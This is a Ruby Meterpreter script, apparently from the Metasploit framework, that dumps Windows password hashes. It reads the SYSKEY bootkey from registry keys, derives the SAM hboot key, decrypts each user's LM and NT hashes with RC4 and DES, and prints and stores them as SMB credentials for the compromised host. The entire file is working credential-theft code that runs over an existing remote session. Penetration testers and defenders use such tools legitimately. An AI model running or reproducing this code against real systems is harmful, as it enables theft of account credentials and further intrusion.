# $Id$
#
# Implement pwdump (hashdump) through registry reads + syskey

@client = client
opts = Rex::Parser::Arguments.new(
	"-h" => [ false, "Help menu." ],
	"-p" => [ true, "The SMB port used to associated credentials."]
)

smb_port = 445

opts.parse(args) { |opt, idx, val|
	case opt
	when "-h"
		print_line "hashdump -- dump SMB hashes to the database"
		print_line(opts.usage)
		raise Rex::Script::Completed
	when "-p"
		smb_port = val.to_i
	end
}

# Constants for SAM decryption
@sam_lmpass   = "LMPASSWORD\x00"
@sam_ntpass   = "NTPASSWORD\x00"
@sam_qwerty   = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric  = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")

@des_odd_parity = [
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]

def capture_boot_key
	bootkey = ""
	basekey = "System\\CurrentControlSet\\Control\\Lsa"
	%W{JD Skew1 GBG Data}.each do |k|
		ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
		return nil if not ok
		bootkey << [ok.query_class.to_i(16)].pack("V")
		ok.close
	end

	keybytes    = bootkey.unpack("C*")
	descrambled = ""
#	descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
	descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]

	0.upto(keybytes.length-1) do |x|
		descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
	end


	descrambled
end

def capture_hboot_key(bootkey)
	ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
	return if not ok
	vf = ok.query_value("F")
	return if not vf
	vf = vf.data
	ok.close

	hash = Digest::MD5.new
	hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)

	rc4 = OpenSSL::Cipher::Cipher.new("rc4")
	rc4.key = hash.digest
	hbootkey  = rc4.update(vf[0x80, 32])
	hbootkey << rc4.final
    return hbootkey
end

def capture_user_keys
	users = {}
	ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
	return if not ok

	ok.enum_key.each do |usr|
		uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
		next if usr == 'Names'
		users[usr.to_i(16)] ||={}
		users[usr.to_i(16)][:F] = uk.query_value("F").data
		users[usr.to_i(16)][:V] = uk.query_value("V").data
		uk.close
	end
	ok.close

	ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
	ok.enum_key.each do |usr|
		uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
		r = uk.query_value("")
		rid = r.type
		users[rid] ||= {}
		users[rid][:Name] = usr
		uk.close
	end
	ok.close
	users
end

def decrypt_user_keys(hbootkey, users)
	users.each_key do |rid|
		user = users[rid]

		hashlm_off = nil
		hashnt_off = nil
		hashlm_enc = nil
		hashnt_enc = nil

		hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc

		# Lanman and NTLM hash available
		if(hoff + 0x28 < user[:V].length)
			hashlm_off = hoff +  4
			hashnt_off = hoff + 24
			hashlm_enc = user[:V][hashlm_off, 16]
			hashnt_enc = user[:V][hashnt_off, 16]
		# No stored lanman hash
		elsif (hoff + 0x14 < user[:V].length)
			hashnt_off = hoff + 8
			hashnt_enc = user[:V][hashnt_off, 16]
			hashlm_enc = ""
		# No stored hashes at all
		else
			hashnt_enc = hashlm_enc = ""
		end
		user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
		user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
	end

	users
end

def convert_des_56_to_64(kstr)
	key = []
	str = kstr.unpack("C*")

	key[0] = str[0] >> 1
	key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
	key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
	key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
	key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
	key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
	key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
	key[7] = str[6] & 0x7F

	0.upto(7) do |i|
		key[i] = ( key[i] << 1)
		key[i] = @des_odd_parity[key[i]]
	end

	key.pack("C*")
end

def rid_to_key(rid)

	s1 = [rid].pack("V")
	s1 << s1[0,3]

	s2b = [rid].pack("V").unpack("C4")
	s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
	s2 << s2[0,3]

	[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end

def decrypt_user_hash(rid, hbootkey, enchash, pass)

	if(enchash.empty?)
		case pass
		when @sam_lmpass
			return @sam_empty_lm
		when @sam_ntpass
			return @sam_empty_nt
		end
		return ""
	end

	des_k1, des_k2 = rid_to_key(rid)

	d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
	d1.padding = 0
	d1.key = des_k1

	d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
	d2.padding = 0
	d2.key = des_k2

	md5 = Digest::MD5.new
	md5.update(hbootkey[0,16] + [rid].pack("V") + pass)

	rc4 = OpenSSL::Cipher::Cipher.new('rc4')
	rc4.key = md5.digest
	okey = rc4.update(enchash)

	d1o  = d1.decrypt.update(okey[0,8])
	d1o << d1.final

	d2o  = d2.decrypt.update(okey[8,8])
	d1o << d2.final
	d1o + d2o
end

begin

print_status("Obtaining the boot key...")
bootkey  = capture_boot_key

print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)

print_status("Obtaining the user list and keys...")
users    = capture_user_keys

print_status("Decrypting user keys...")
users    = decrypt_user_keys(hbootkey, users)

print_status("Dumping password hashes...")
print_line()
print_line()
users.keys.sort{|a,b| a<=>b}.each do |rid|
	hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
	@client.framework.db.report_auth_info(
		:host  => client.sock.peerhost,
		:port  => smb_port,
		:sname => 'smb',
		:user  => users[rid][:Name],
		:pass  => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
		:type  => "smb_hash"
	)
	print_line hashstring
end
print_line()
print_line()

rescue ::Interrupt
	raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
	print_error("Meterpreter Exception: #{e.class} #{e}")
	print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
rescue ::Exception => e
	print_error("Error: #{e.class} #{e} #{e.backtrace}")
end